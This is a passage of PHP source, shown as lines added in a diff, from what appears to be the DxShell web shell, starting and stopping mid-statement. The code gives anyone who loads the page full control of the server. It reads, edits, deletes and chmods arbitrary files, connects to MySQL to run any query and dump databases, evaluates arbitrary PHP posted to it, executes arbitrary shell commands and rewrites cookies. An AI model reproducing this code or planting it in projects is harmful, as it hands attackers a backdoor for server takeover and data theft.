'').'&dxmode=F_DWN&dx_gzip=Yeah&dxfile='.DxFileToUrl($dircur).'">'.DxImg('gzip').'</a></td>'; + print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_REN&dxfile='.DxFileToUrl($dircur).'">'.DxImg('rename').'</a></td>'; + print "\n\t".'<td class=linelisting '.(($NOW=='DIRS')?'colspan=3':'').'><a href="'.DxURL('kill', '').'&dxmode=F_DEL&dxfile='.DxFileToUrl($dircur).'">'.DxImg('del').'</a></td>'; + if ($NOW!='DIRS') print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_COP&dxfile='.DxFileToUrl($dircur).'">'.DxImg('copy').'</a></td>'; + if ($NOW!='DIRS') print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_MOV&dxfile='.DxFileToUrl($dircur).'">'.DxImg('move').'</a></td>'; + } + print "\n\t".'</tr>'; + } + print "\n".'</table>'; + } + + +######## +######## File Global Actions +######## +if ('F_'==substr($_GET['dxmode'],0,2)) + { if (empty($_GET['dxfile'])) + { print "\n".'<form action="'.DxURL('kill', '').'" method=GET>'; + DxGETinForm('leave', ''); + print "\n".'<input type=text name="dxfile" value="" style="width:70%;">'; + print "\n".'<br><input type=submit value="Select" class="submit">'; + print "\n".'</form>'; + } + if (!file_exists(@$_GET['dxfile'])) die(DxError('No such file')); + print "\n\n".'<a href="'.DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_GET['dxfile'])).'">[Go DIR]</a>'; + } + +######## +######## File CHMOD +######## +if ($_GET['dxmode']=='F_CHM') + { + if (isset($_GET['dxparam'])) + { if (chmod($_GET['dxfile'], octdec((int)$_GET['dxparam']))==FALSE) + print DxError('Chmod "'.$_GET['dxfile'].'" failed'); + else print 'CHMOD( <font class=highlight_txt>'.$_GET['dxfile'].'</b></font> )...<b>OK</b>'; + } + else + { print "\n".'<form action="'.DxURL('kill', '').'" method=GET>'; + DxGETinForm('leave', 'dxmode,dxfile'); + print "\n".'CHMOD( <font class=highlight_txt>'.$_GET['dxfile'].'</font> )'; + print "\n".'<br><input type=text name="dxparam" value="'. + //decoct(fileperms($_GET['dxfile'])) + substr(sprintf('%o', fileperms($_GET['dxfile'])), -4) + .'">'; + print "\n".'<input type=submit value="chmod" class="submit"></form>'; + } + } + +######## +######## File View +######## +if ($_GET['dxmode']=='F_VIEW') + { + if (!is_file($_GET['dxfile'])) die(DxError('Hey! Find out how to read a directory in notepad, and u can call me "Lame" =) ')); + if (!is_readable($_GET['dxfile'])) die(DxError('File is not readable. Perms?...')); + + print "\n".'<table border=0 cellspacing=0 cellpadding=0 align=right><tr>'; + print "\n".'<td><h3>'.$_GET['dxfile'].'</h3></td>'; + print "\n".'<td>' + .'<a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxparam=SRC&dxfile='.DxFileToUrl($_GET['dxfile']).'" target=_blank>'.DxImg('view').'</a>' + .'<a href="'.DxURL('kill', '').'&dxmode=F_ED&dxfile='.DxFileToUrl($_GET['dxfile']).'">'.DxImg('ed').'</a>' + .'<a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxfile='.DxFileToUrl($_GET['dxfile']).'">'.DxImg('downl').'</a>' + .'<a href="'.DxURL('kill', '').'&dxmode=F_DEL&dxfile='.DxFileToUrl($_GET['dxfile']).'">'.DxImg('del').'</a>' + .'</td>'; + print "\n".'</tr></table><br>'; + print "\n".'Tip: to view the file "as is" - open the page in <a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxparam=SRC&dxfile='.DxFileToUrl($_GET['dxfile']).'">source</a> (<i>works best in Opera</i>), or <a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxfile='.DxFileToUrl($_GET['dxfile']).'">download</a> this file'; + + print "\n\n\n".'<br><hr><!-- File contents goes from here -->'."\n"; + print "\n".'<plaintext>'; + print file_get_contents($_GET['dxfile']); + die(); /* Plaintext is infinite */ + } + +######## +######## File Edit +######## +if ($_GET['dxmode']=='F_ED') + { + if (!is_file($_GET['dxfile'])) die(DxError('Hey! Find out how to read a directory in notepad, and u can call me "Lame" =) ')); + if (isset($_POST['dxparam'])) + { if (!is_writable($_GET['dxfile'])) die(DxError('File is not writable. Perms?...')); + if (($f=fopen($_GET['dxfile'], 'w'))===FALSE) die(DxError('File open for WRITE failed')); + if (fputs($f, $_POST['dxparam'])===FALSE) die(DxError('I/O: File write failed')); + fclose($f); + print 'File saved OK;'; + } + else + { + if (!is_readable($_GET['dxfile'])) die(DxError('File is not readable. Perms?...')); + if (!is_writable($_GET['dxfile'])) DxWarning('File is not writable!'); print "\n".'<font class=highlight_txt>'.$_GET['dxfile'].'</font>'; + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<textarea name="dxparam" rows=30 style="width:90%;">'.str_replace(array('<','>'),array('&lt;','&gt;'), file_get_contents($_GET['dxfile'])).'</textarea>'; + print "\n".'<br><input type=submit value="Save" style="width:100pt;height:50pt;font-size:15pt;" class=submit>'; + print "\n".'</form>'; + } + } + +######## +######## File Delete +######## +if ($_GET['dxmode']=='F_DEL') + { if (isset($_GET['dx_ok'])) + { if ($_GET['dx_ok']=='Yes') + { if ( (is_file($_GET['dxfile']) AND !unlink($_GET['dxfile'])) OR (is_dir($_GET['dxfile']) AND !rmdir($_GET['dxfile'])) ) + print DxError('Unable to delete file. Perms?...<br>'); + else + { print "\n".'Delete( <font class=highlight_txt>'.$_GET['dxfile'].'</font> ) <b>OK</b>'; + DxGotoURL(DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_GET['dxfile']))); + } + } + } + else + { + if (!is_writable($_GET['dxfile'])) DxWarning('File is not writable!'); print "\n".'<form action="'.DxURL('kill', '').'" method=GET>'; + DxGETinForm('leave', 'dxmode,dxfile'); + print "\n".'<table border=0 cellspacing=0 cellpadding=0 align=center><tr><td>' + ."\n".'<font class=achtung>(!)</font> Do you really want to <font class=highlight_txt>DELETE '.$_GET['dxfile'].'</font> ?' + ."\n".'<div align=right><input type=submit name="dx_ok" value="No" class=bt_No><input type=submit name="dx_ok" value="Yes" class=bt_Yes>' + ."\n".'</td></tr></table>'; + print "\n".'</form>'; + } + } + +######## +######## File Rename +######## +if ($_GET['dxmode']=='F_REN') + { + if (isset($_POST['dxparam'])) + { + if (!rename($_GET['dxfile'], dirname($_GET['dxfile']).'/'.$_POST['dxparam'])) + print DxError('Unable to rename. Perms?...<br>'); + else + { + print "\n".'Rename( <font class=highlight_txt>'.$_GET['dxfile'].'</font> -> <font class=highlight_txt>'.dirname($_GET['dxfile']).'/'.$_POST['dxparam'].'</font> ) <b>OK</b>'; + DxGotoURL(DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_GET['dxfile']))); + } + } + else + { + print "\n".'<form action="'.DxURL('leave', 'dxmode,dxfile').'" method=POST>'; + print "\n".'<input type=text name="dxparam" value="'.basename($_GET['dxfile']).'" style="width:80%">'; + print "\n".'<input type=submit value="Rename" class="submit"></form>'; + } + } + +######## +######## File Copy +######## +if ($_GET['dxmode']=='F_COP') + { + if (!is_file($_GET['dxfile'])) die(DxError('Don\'t even think about copuing directories! =))')); + + $newname=$_GET['dxfile'].'__DxS_COPY_'.DxRandomChars(3); + if (($extpos=strrpos($_GET['dxfile'], '.'))>strrpos($_GET['dxfile'], '/')) /* file has an extension */ + $newname=substr($_GET['dxfile'], 0, $extpos).'__DxS_COPY_'.DxRandomChars(3).substr($_GET['dxfile'], $extpos); + print $newname; + if (!copy($_GET['dxfile'], $newname)) + print DxError('Unable to copy. Perms?...<br>'); + else + { + print "\n".'Copy( <font class=highlight_txt>'.$_GET['dxfile'].'</font> -> <font class=highlight_txt>'.$newname.'</font> ) <b>OK</b>'; + DxGotoURL(DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_GET['dxfile']))); + } + } + +######## +######## File Move +######## +if ($_GET['dxmode']=='F_MOV') + { + if (isset($_POST['dxparam'])) + { + if (!rename($_GET['dxfile'], $_POST['dxparam'])) + print DxError('Unable to rename. Perms? Or no path?...<br>'); + else + { + print "\n".'Move( <font class=highlight_txt>'.$_GET['dxfile'].'</font> -> <font class=highlight_txt>'.$_POST['dxparam'].'</font> ) <b>OK</b>'; + DxGotoURL(DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_POST['dxparam']))); + } + } + else + { + if (!is_writable($_GET['dxfile'])) DxWarning('File is not writable!'); + print "\n".'<form action="'.DxURL('leave', 'dxmode,dxfile').'" method=POST>'; + print "\n".'<input type=text name="dxparam" value="'.DxFileOkaySlashes(realpath($_GET['dxfile'])).'" style="width:80%">'; + print "\n".'<input type=submit value="M0ve" class="submit"></form>'; + } + } + +if (substr($_GET['dxmode'],0,2)=='F_') + {/* file actions */ + print "\n\n".'<br><br>'.'<a href="'.DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_GET['dxfile'])).'">[Go DIR]</a>'; + } + + ################################### + +######## +######## SQL Maintenance +######## +if ($_GET['dxmode']=='SQL') + { if (!isset($_GET['dxsql_s'], $_GET['dxsql_l'], $_GET['dxsql_p'])) + { print "\n".'<h2>MySQL connection</h2>'; + print "\n".'<form action="'.DxURL('kill', '').'" method=GET align=center>'; + DxGETinForm('leave', 'dxmode'); + print "\n".'<br>Serv: <input type=text name="dxsql_s" value="localhost" style="width:200pt">'; + print "\n".'<br>Login:<input type=text name="dxsql_l" value="" style="width:200pt">'; + print "\n".'<br>Passw:<input type=password name="dxsql_p" value="" style="width:200pt">'; + print "\n".'<br><input type=submit value="C0nnect" class="submit" style="width:200pt;"></form>'; + die(); + } + if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0)) + die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + else print '&gt;&gt; MySQL connected!'; + + $mysqlver=mysql_fetch_row(mysql_query("SELECT VERSION()")); + print str_repeat('&nbsp;',15).'MySQL version: <font class="highlight_txt">'.$mysqlver[0].'</font>'; + + DxMySQL_FetchResult(DxMySQLQ('SHOW DATABASES;', true), $DATABASES, true); + for ($i=0;$i<count($DATABASES);$i++) + $DATABASES[$i][1]=mysql_num_rows(DxMySQLQ('SHOW TABLES FROM `'.$DATABASES[$i][0].'`;', false)); + + print "\n".'<table border=0 cellspacing=0 cellpadding=0>' + .'<tr><td class=h2_oneline><h1>DB:</h1></td>'; + if (!isset($_GET['dxsql_d'])) + { + print "\n".'<td class=h2_oneline style="border-width:0pt;">'; + print "\n".'<form action="'.DxURL('kill', '').'" method=GET>'; + DxGETinForm('leave', 'dxmode,dxsql_s,dxsql_l,dxsql_p'); + print "\n".'<SELECT name="dxsql_d" onchange="this.form.submit()">'; + print "\n\t".'<OPTION value="">&lt;Server&gt;</OPTION>'; + for ($i=0;$i<count($DATABASES);$i++) + print "\n\t".'<OPTION value="'.$DATABASES[$i][0].'">' + .'['.DxZeroedNumber($DATABASES[$i][1],3).']'.' '.$DATABASES[$i][0] + .'</OPTION>'; + print "\n".'</SELECT><input type=submit value="-&gt;" class=submit"></form></td>'; + print "\n".'</tr></table>'; + die(); + } + else print "\n".'<td class=linelisting><font class=highlight_txt>'.((empty($_GET['dxsql_d']))?'&lt;Server&gt;':$_GET['dxsql_d']).'</font></td>' + .'<td class=linelisting><a href="'.DxURL('kill', 'dxsql_d').'" class=no>[CH]</a></td>' + .'<td class=linelisting><a href="'.DxURL('kill', 'dxmode').'&dxmode=SQLS" class=no>[Search in tables...]</a></td>' + .'<td class=linelisting><a href="'.DxURL('kill', 'dxmode').'&dxmode=SQLD" class=no>[Dump...]</a></td>' + .'</tr></table>'; + + if (!empty($_GET['dxsql_d'])) + if (!mysql_select_db($_GET['dxsql_d'])) + die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + + print "\n".'<table border=0 cellspacing=0 cellpadding=0 width=100%>'; + print "\n".'<tr><td width=1% class=h2_oneline style="vertical-align:top;">'; + if (!empty($_GET['dxsql_d'])) + { + print "\n\t".'<table border=0 cellspacing=0 cellpadding=0>'; + print "\n\t".'<caption>Tables:</caption>'; + DxMySQL_FetchResult(DxMySQLQ('SHOW TABLES;', true), $TABLES, true); + for ($i=0;$i<count($TABLES);$i++) $TABLES[$i]=$TABLES[$i][0]; + asort($TABLES); + for ($i=0;$i<count($TABLES);$i++) + { + DxMySQL_FetchResult(DxMySQLQ('SELECT COUNT(*) FROM `'.$TABLES[$i].'`;', true), $TRowCnt, true); print "\n\t".'<tr><td class="listing"><nobr>'.(($TRowCnt[0][0]>0)?'&gt; ':'&nbsp;&nbsp;').$TABLES[$i].'</td></tr>'; + } + print "\n\t".'</table>'; + } + print "\n".'</td><td width=100%>'; + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'[?] Can run several querys if divided by ";"<br>If smth is wrong with charset, write first: SET NAMES cp1251;'; + print "\n".'<textarea name="dxsql_q" rows=10 style="width:100%;">'.((empty($_POST['dxsql_q']))?'':$_POST['dxsql_q']).'</textarea>'; + print "\n".'<div align=right>' + .'<input type=submit value="Query" class="submit"> ' + .'<input type=submit name="dxparam" value="Download Query" class="submit"></div></form>' + .'<br>'; + + if (empty($_POST['dxsql_q'])) die('</td></tr></table>'); + $_POST['dxsql_q']=explode(';', $_POST['dxsql_q']); + + foreach ($_POST['dxsql_q'] as $CUR_Q) + { if (empty($CUR_Q)) continue; + $CUR_Q.=';'; + + $num=DxMySQL_FetchResult(DxMySQLQ($CUR_Q, true), $FETCHED, false); + if ($num<=0) continue; + + print "\n\n\n".'<table border=0 cellspacing=0 cellpadding=0><caption>'.$CUR_Q.'</caption>'; + + $INDEXES=array_keys($FETCHED[0]); + print "\n\t".'<tr><td class="listing" colspan='.(count($INDEXES)+1).'>&gt;&gt; Fetched: '.$num. str_repeat('&nbsp;', 10). 'Affected: '.mysql_affected_rows().'</td></tr>'; + print "\n\t".'<tr><td class="listing"><div align=center class="highlight_txt">###</td>'; + foreach ($INDEXES as $key) print '<td class="listing"><div align=center class="highlight_txt">'.$key.'</td>'; + print '</tr>'; + + for ($l=0;$l<count($FETCHED);$l++) + { + print "\n\t".'<tr><td class="listing" width=40><div align=right class="highlight_txt">'.$l.'</td>'; + for ($i=0; $i<count($INDEXES); $i++) + print '<td class="listing"> '.DxDecorVar($FETCHED[$l][ $INDEXES[$i] ], true).'</td>'; + } + + print "\n".'</table><br>'; + } + print "\n".'</td></tr></table>'; + } + +######## +######## SQL Search +######## +if ($_GET['dxmode']=='SQLS') + { + if (!isset($_GET['dxsql_s'], $_GET['dxsql_l'], $_GET['dxsql_p'], $_GET['dxsql_d'])) die(DxError('SQL server/login/password/database are not set')); + + if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0)) + die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + else print '&gt;&gt; MySQL connected!'; + + if (!mysql_select_db($_GET['dxsql_d'])) + die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + + print "\n".'<table border=0 cellspacing=0 cellpadding=0><tr><td class=h2_oneline><h2>DB:</h2></td>'; + print "\n".'<td class=linelisting><font class=highlight_txt>'.((empty($_GET['dxsql_d']))?'&lt;Server&gt;':$_GET['dxsql_d']).'</font></td></tr></table>'; + + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; print "\n".'<table border=0 cellspacing=0 cellpadding=0 width=100%>'; + print "\n".'<tr><td width=1% class=h2_oneline style="vertical-align:top;">'; + + DxMySQL_FetchResult(DxMySQLQ('SHOW TABLES;', true), $TABLES, true); + for ($i=0;$i<count($TABLES);$i++) $TABLES[$i]=$TABLES[$i][0]; + asort($TABLES); + + if (isset($_POST['dxsqlsearch']['txt'])) + if (get_magic_quotes_gpc()==1) $_POST['dxsqlsearch']['txt']=stripslashes($_POST['dxsqlsearch']['txt']); + + print "\n\t".'<SELECT MULTIPLE name="dxsqlsearch[tables][]" SIZE=30>'; + for ($i=0;$i<count($TABLES);$i++) + { + DxMySQL_FetchResult(DxMySQLQ('SELECT COUNT(*) FROM `'.$TABLES[$i].'`;', true), $TRowCnt, true); + if ($TRowCnt[0][0]>0) + print "\n\t".'<OPTION value="'.$TABLES[$i].'" ' + .( (isset($_POST['dxsqlsearch']['tables']))? ((in_array($TABLES[$i], $_POST['dxsqlsearch']['tables']))?'SELECTED':'') :'SELECTED' ).'>' + .$TABLES[$i].'</OPTION>'; + } + print "\n\t".'</SELECT>'; + print "\n".'</td><td width=100%>'; + print "\n".'<input type=text name="dxsqlsearch[txt]" style="width:100%;" value="'.((empty($_POST['dxsqlsearch']['txt']))?'':str_replace('"', '&quot;', $_POST['dxsqlsearch']['txt'])).'">'; + print "\n".'<br>'; + foreach (array('Any', 'Each', 'Exact', 'RegExp') as $cur_rad) + print '<input type=radio name="dxsqlsearch[mode]" value="'.strtolower($cur_rad).'" ' + .( (isset($_POST['dxsqlsearch']['mode']))? (($_POST['dxsqlsearch']['mode']==strtolower($cur_rad))?'CHECKED':'') :(($cur_rad=='Any')?'CHECKED':'') ) + .' class=radio>'.$cur_rad.'&nbsp;&nbsp;&nbsp;'; + print "\n".'<div align=right><input type=submit value="Search..." class=submit style="width:100pt;"></div>'; + print "\n".'</form>'; + + if (!isset($_POST['dxsqlsearch'])) die('</td></tr></table>'); + + if (empty($_POST['dxsqlsearch']['tables'])) die(DxError('No tables selected')); + + if (in_array($_POST['dxsqlsearch']['mode'], array('any', 'each'))) $_POST['dxsqlsearch']['txt']=explode(' ', mysql_real_escape_string($_POST['dxsqlsearch']['txt'])); + else $_POST['dxsqlsearch']['txt']=array($_POST['dxsqlsearch']['txt']); + + + $GLOBALFOUND=0; + foreach ($_POST['dxsqlsearch']['tables'] as $CUR_TABLE) + { $Q='SELECT * FROM `'.$CUR_TABLE.'` WHERE '; + $Q_ARR=array(); + DxMySQL_FetchResult(DxMySQLQ('SHOW COLUMNS FROM `'.$CUR_TABLE.'`;', true), $COLS, true); for ($i=0; $i<count($COLS);$i++) $COLS[$i]=$COLS[$i][0]; + foreach ($COLS as $CUR_COL) + { if (in_array($_POST['dxsqlsearch']['mode'], array('any', 'each', 'exact'))) + { for ($i=0;$i<count($_POST['dxsqlsearch']['txt']);$i++) + $Q_ARR[]=$CUR_COL.' LIKE "%'.($_POST['dxsqlsearch']['txt'][$i]).'%"'; + } + else $Q_ARR[]=$CUR_COL.' REGEXP '.$_POST['dxsqlsearch']['txt'][0]; + + if ($_POST['dxsqlsearch']['mode']=='each') + { $Q_ARR_EXACT[]=implode(' AND ', $Q_ARR); + $Q_ARR=array(); + } + } + if (in_array($_POST['dxsqlsearch']['mode'], array('any', 'exact'))) $Q.=implode(' OR ', $Q_ARR).';'; + if ($_POST['dxsqlsearch']['mode']=='each') $Q.=' ( '.implode(' ) OR ( ', $Q_ARR_EXACT).' );'; + if ($_POST['dxsqlsearch']['mode']=='regexp') $Q.=' ( '.implode(' ) OR ( ',$Q_ARR).' );'; + + /* $Q is ready */ + + if (($num=DxMySQL_FetchResult(DxMySQLQ($Q, true), $FETCHED, true))>0) + { + $GLOBALFOUND+=$num; print "\n\n".'<table border=0 cellspacing=0 cellpadding=0 align=center><caption>'.$num.' matched in '.$CUR_TABLE.' :</caption>'; + print "\n\t".'<tr><td class=listing><font class="highlight_txt">'.implode('</td><td class=listing><font class="highlight_txt">', $COLS).'</td></tr>'; + for ($l=0;$l<count($FETCHED);$l++) + { + print "\n\t".'<tr>'; + for ($i=0; $i<count($FETCHED[$l]); $i++) print '<td class="listing"> '.DxDecorVar($FETCHED[$l][$i], true).'</td>'; + print '</tr>'; + } + print "\n".'</table><br>'; + } + } + print "\n".'<br>Total: '.$GLOBALFOUND.' matches'; + + print "\n".'</td></tr></table>'; + } + +######## +######## SQL Dump +######## +if ($_GET['dxmode']=='SQLD') + { if (!isset($_GET['dxsql_s'], $_GET['dxsql_l'], $_GET['dxsql_p'], $_GET['dxsql_d'])) die(DxError('SQL server/login/password/database are not set')); + + if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0)) + die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + else print '&gt;&gt; MySQL connected!'; + + if (!mysql_select_db($_GET['dxsql_d'])) + die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + + print "\n".'<table border=0 cellspacing=0 cellpadding=0><tr><td class=h2_oneline><h2>DB:</h2></td>'; + print "\n".'<td class=linelisting><font class=highlight_txt>'.((empty($_GET['dxsql_d']))?'&lt;Server&gt;':$_GET['dxsql_d']).'</font></td></tr></table>'; + + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<table border=0 cellspacing=0 cellpadding=0 width=100%>'; + print "\n".'<tr><td width=1% class=h2_oneline style="vertical-align:top;">'; + + DxMySQL_FetchResult(DxMySQLQ('SHOW TABLES;', true), $TABLES, true); + for ($i=0;$i<count($TABLES);$i++) $TABLES[$i]=$TABLES[$i][0]; + asort($TABLES); + + print "\n\t".'<SELECT MULTIPLE name="dxsql_tables[]" SIZE=30>'; + for ($i=0;$i<count($TABLES);$i++) + { + DxMySQL_FetchResult(DxMySQLQ('SELECT COUNT(*) FROM `'.$TABLES[$i].'`;', true), $TRowCnt, true); + if ($TRowCnt[0][0]>0) + print "\n\t".'<OPTION value="'.$TABLES[$i].'" SELECTED>'.$TABLES[$i].'</OPTION>'; + } + print "\n\t".'</SELECT>'; + print "\n".'</td><td width=100%>You can set a pre-dump-query(s) (ex: SET NAMES cp1251; ):'; + print "\n".'<input type=text name="dxsql_q" style="width:100%;">'; + print "\n".'<br>'; + print "\n".'<div align=right>' + .'GZIP <input type=checkbox name="dx_gzip" value="Yeah, baby">'.str_repeat('&nbsp;', 10) + .'<input type=submit value="Dump!" class=submit style="width:100pt;"></div>'; + print "\n".'</form>'; + } + + ################################### + +######## +######## PHP Console +######## +if ($_GET['dxmode']=='PHP') + { + if (isset($_GET['dxval'])) $_POST['dxval']=$_GET['dxval']; + + print "\n".'<table border=0 align=right><tr><td class=h2_oneline>Do</td><td class="linelisting">'; + $PRESETS=array_keys($GLOB['VAR']['PHP']['Presets']); + for ($i=0; $i<count($PRESETS);$i++) + print "\n\t".'<a href="'.DxURL('leave', 'dxmode').'&dxval=dxpreset__'.$PRESETS[$i].'" class=no>['.$PRESETS[$i].']</a>' + .( ($i==(count($PRESETS)-1))?'':str_repeat('&nbsp;',3) ); + print "\n\n".'</td></tr></table><br><br>'; + + if (isset($_POST['dxval'])) + if (strpos($_POST['dxval'], 'dxpreset__')===0) + { $_POST['dxval']=substr($_POST['dxval'], strlen('dxpreset__')); + if (!isset($GLOB['VAR']['PHP']['Presets'][$_POST['dxval']])) die(DxError('Undeclared preset')); + $_POST['dxval']=$GLOB['VAR']['PHP']['Presets'][$_POST['dxval']]; + } + + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<textarea name="dxval" rows=15 style="width:100%;">'.((isset($_POST['dxval']))?$_POST['dxval']:'').'</textarea>'; + print "\n".'<div align=right><input type=submit value="Eval" class="submit" style="width:200pt;"></div>'; + print "\n".'</form>'; + if (isset($_POST['dxval'])) + { print str_repeat("\n", 10).'<!--php_eval-->'."\n\n".'<table border=0 width=100%><tr><td class=listing>'."\n\n"; + eval($_POST['dxval']); + print str_repeat("\n", 10).'<!--/php_eval-->'.'</td></tr></table>'; + } + } + + ################################### + +######## +######## Cookies Maintenance +######## +if ($_GET['dxmode']=='COOK') + { + if ($DXGLOBALSHIT) DxWarning('Set cookie may fail. This is because "'.basename($_SERVER['PHP_SELF']).'" has fucked up the output with it\'s shit =('); print 'Found <font class="highlight_txt">'.($CNT=count($_COOKIE)).' cookie'.(($CNT==1)?'':'s'); + + print "\n".'<div align=right><a href="'.DxURL('leave', '').'">[RELOAD]</a></div>'; + + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<table border=0 align=center><tr><td class=linelisting><div align=center><font class="highlight_txt">Cookie name</td><td class=linelisting><div align=center><font class="highlight_txt">Value</td></tr>'; + for ($look_len=1, $maxlen=0; $look_len>=0;$look_len--) + { + if ($maxlen>100) $maxlen=100; + if ($maxlen<30) $maxlen=30; + $maxlen+=3; + for ($INDEXES=array_keys($_COOKIE), $i=0;$i<count($INDEXES);$i++) + { + if ($look_len) {if (strlen($_COOKIE[ $INDEXES[$i] ])>$maxlen) {$maxlen=strlen($_COOKIE[ $INDEXES[$i] ]);} continue;} + print "\n".'<tr><td class=linelisting>'.$INDEXES[$i].'</td>' + .'<td class=linelisting><input type=text ' + .'name="dxparam['.str_replace(array('"', "\n", "\r", "\t"), array('&quot;',' ',' ',' '), $INDEXES[$i]).']" ' + .'value="'.str_replace(array('"', "\n", "\r", "\t"), array('&quot;',' ',' ',' '), $_COOKIE[ $INDEXES[$i] ]).'" ' + .'SIZE='.$maxlen.'></td>' + .'</tr>'; + } + if (!$look_len) + { + print "\n".'<tr><td colspan=2><div align=center>[Set new cookie]</td></tr>'; + print "\n".'<tr><td class=linelisting><input type=text name="dxparam[DXS_NEWCOOK][NAM]" value="" style="width:99%;"></td>' + .'<td class=linelisting><input type=text name="dxparam[DXS_NEWCOOK][VAL]" value="" SIZE='.$maxlen.'></td>' + .'</tr>'; print "\n".'<tr><td class=linelisting colspan=2 style="text-align:center;">' + .'<input type=submit value="Save" class="submit" style="width:50%;">' + .'</td></tr>'; + } + } + print "\n".'</table></form>'; + } + + ################################### + +######## +######## Command line +######## +if ($_GET['dxmode']=='CMD') + { + print "\n".'<table border=0 align=right><tr><td class=h2_oneline>Do</td><td>'; + print "\n".'<SELECT name="selector" onchange="document.getElementById(\'dxval\').value+=document.getElementById(\'selector\').value+\'\n\'" style="width:200pt;">'; + print "\n\t".'<OPTION></OPTION>'; + $PRESETS=array_keys($GLOB['VAR']['CMD']['Presets']); + for ($i=0; $i<count($PRESETS);$i++) + print "\n\t".'<OPTION value="'.str_replace('"','&quot;',$GLOB['VAR']['CMD']['Presets'][ $PRESETS[$i] ]).'">'.$PRESETS[$i].'</OPTION>'; + print "\n\n".'</SELECT></td></tr></table><br><br>'; + + if (isset($_POST['dxval'])) + if (strpos($_POST['dxval'], 'dxpreset__')===0) + { + $_POST['dxval']=substr($_POST['dxval'], strlen('dxpreset__')); + if (!isset($GLOB['VAR']['CMD']['Presets'][$_POST['dxval']])) die(DxError('Undeclared preset')); + $_POST['dxval']=$GLOB['VAR']['CMD']['Presets'][$_POST['dxval']]; + } + + $warnstr=DxExecNahuj('',$trash1, $trash2); + if (!$warnstr[1]) DxWarning($warnstr[2]); print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<textarea name="dxval" rows=5 style="width:100%;">'.((isset($_POST['dxval']))?$_POST['dxval']:'').'</textarea>'; + print "\n".'<div align=right>' + .'<input type=submit value="Exec" class="submit" style="width:100pt;"> ' + .'</div>'; + print "\n".'</form>'; + if (isset($_POST['dxval'])) + { + $_POST['dxval']=split("\n", str_replace("\r", '', $_POST['dxval'])); + for ($i=0; $i<count($_POST['dxval']); $i++) + { + $CUR=$_POST['dxval'][$i]; + if (empty($CUR)) continue; + + DxExecNahuj($CUR,$OUT, $RET); + print str_repeat("\n", 10).'<!--'.$warnstr[2].'("'.$CUR.'")-->'."\n\n".'<table border=0 width=100%><tr><td class=listing>'."\n\n"; + + print '<span style="position:absolute;left:10%;" class="highlight_txt">Return</span>'; + print '<span style="position:absolute;right:30%;" class="highlight_txt">Output</span>'; + print '<br><nobr>'; + print "\n".'<textarea rows=10 style="width:20%;display:inline;">'.$CUR."\n\n".( (is_array($RET))?implode("\n", $RET):$RET).'</textarea>'; + print "\n".'<textarea rows=10 style="width:79%;display:inline;">'."\n".( (is_array($OUT))?implode("\n", $OUT):$OUT).'</textarea>'; + print '</nobr>'; + print str_repeat("\n", 10).'<!--/'.$warnstr[2].'("'.$CUR.'")-->'."\n\n".'</td></tr></table>'; + } + } + } + + ################################### + +######## +######## String functions +######## +if ($_GET['dxmode']=='STR') + { + if (isset($_POST['dxval'], $_POST['dxparam'])) + { $crypted=''; + if ($_POST['dxparam']=='md5') $crypted.=md5($_POST['dxval']); + if ($_POST['dxparam']=='sha1') $crypted.=sha1($_POST['dxval']); + if ($_POST['dxparam']=='crc32') $crypted.=crc32($_POST['dxval']); + if ($_POST['dxparam']=='2base') $crypted.=base64_encode($_POST['dxval']); + if ($_POST['dxparam']=='base2') $crypted.=base64_decode($_POST['dxval']); + if ($_POST['dxparam']=='2HEX') for ($i=0;$i<strlen($_POST['dxval']);$i++) $crypted.=strtoupper(dechex(ord($_POST['dxval'][$i]))).' '; + if ($_POST['dxparam']=='HEX2') {$_POST['dxval']=str_replace(' ','',$_POST['dxval']); for ($i=0;$i<strlen($_POST['dxval']);$i+=2) $crypted.=chr(hexdec($_POST['dxval'][$i].$_POST['dxval'][$i+1]));} + if ($_POST['dxparam']=='2DEC') {$crypted='CHAR('; for ($i=0;$i<strlen($_POST['dxval']); $i++) $crypted.=ord($_POST['dxval'][$i]).(($i<(strlen($_POST['dxval'])-1))?',':')');} + if ($_POST['dxparam']=='2URL') $crypted.=urlencode($_POST['dxval']); + if ($_POST['dxparam']=='URL2') $crypted.=urldecode($_POST['dxval']); + } + if (isset($crypted)) print $_POST['dxparam'].'(<font class="highlight_txt"> 